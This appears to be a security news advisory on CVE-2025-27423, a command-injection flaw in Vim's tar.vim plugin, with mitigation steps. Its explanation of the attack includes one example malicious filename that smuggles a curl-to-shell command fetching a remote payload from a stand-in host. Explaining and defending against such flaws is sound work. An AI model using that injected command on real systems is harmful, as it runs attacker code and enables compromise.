The Vim text editor vulnerability CVE-2025-27423 is a high-severity issue that allows for arbitrary code execution via malicious TAR archives.
Affecting Vim versions prior to 9.1.1164, this flaw in the bundled tar.vim plugin exposes users to potential command injection attacks when handling specially crafted TAR files.
Patched in March 2025, the vulnerability underscores critical input validation failures in file processing workflows.
Attack Mechanism
The tar.vim plugin, included in standard Vim distributions since 2004, enables users to directly edit files within TAR archives without manual extraction.
A November 2024 update (commit 129a844) introduced enhanced file permission handling but inadvertently created an injection vector.
The plugin’s modified :read command implementation failed to sanitize filenames extracted from archive metadata, allowing attackers to embed shell metacharacters like ;, |, or && in filenames.
When a user opens a weaponized TAR file, tar.vim constructs a system command string using unsanitized filename data.
For example, a filename like legit_file.txt; curl [http://malicious.site/payload.sh] | sh would append the payload execution command to Vim’s :read pipeline.
Execution occurs through the user’s configured shell (defined by Vim’s shell option, which defaults to $SHELL), meaning attack success depends on shell features like command chaining.
Rated High Severity (CVSSv4: 8.1), CVE-2025-27423 requires user interaction, specifically opening a malicious archive in Vim.
While visible filename anomalies (e.g., semicolons in filenames) might alert cautious users, sophisticated attacks could obfuscate payloads.
The vulnerability’s impact extends beyond individual workstations. Development environments using Vim for log inspection, CI/CD pipelines parsing artifacts, or systems with automated vimdiff archive comparisons face elevated risks.
GMO Flatt Security analyst @Ry0taK, credited with discovering the flaw.
Mitigations
The Vim project released version 9.1.1164 with robust filename sanitization using regex-based filtering. Immediate actions include:
- Upgrade Vim using official package managers (apt upgrade vim, brew update vim)
- Verify installation with vim –version | grep 9.1.1164
- For unpatched systems:
Disable tar.vim via echo ‘let g:loaded_tar = 1’ >> ~/.vimrc
Set shell=/bin/dash to limit shell capabilities temporarily.
Vim users must prioritize updates and audit third-party plugins, particularly those handling untrusted file formats. As supply chain attacks grow increasingly sophisticated, the editorial convenience of in-Vim archive access now demands heightened scrutiny.
Ongoing monitoring is advised, as proof-of-concept exploits have surfaced on GitHub, though major AV engines now detect malicious TAR patterns.
System administrators should combine patching with user education on recognizing suspicious archive contents a multi-layered defense critical in mitigating social engineering aspects of this threat.
Collect Threat Intelligence on the Latest Malware and Phishing Attacks with ANY.RUN TI Lookup -> Try for free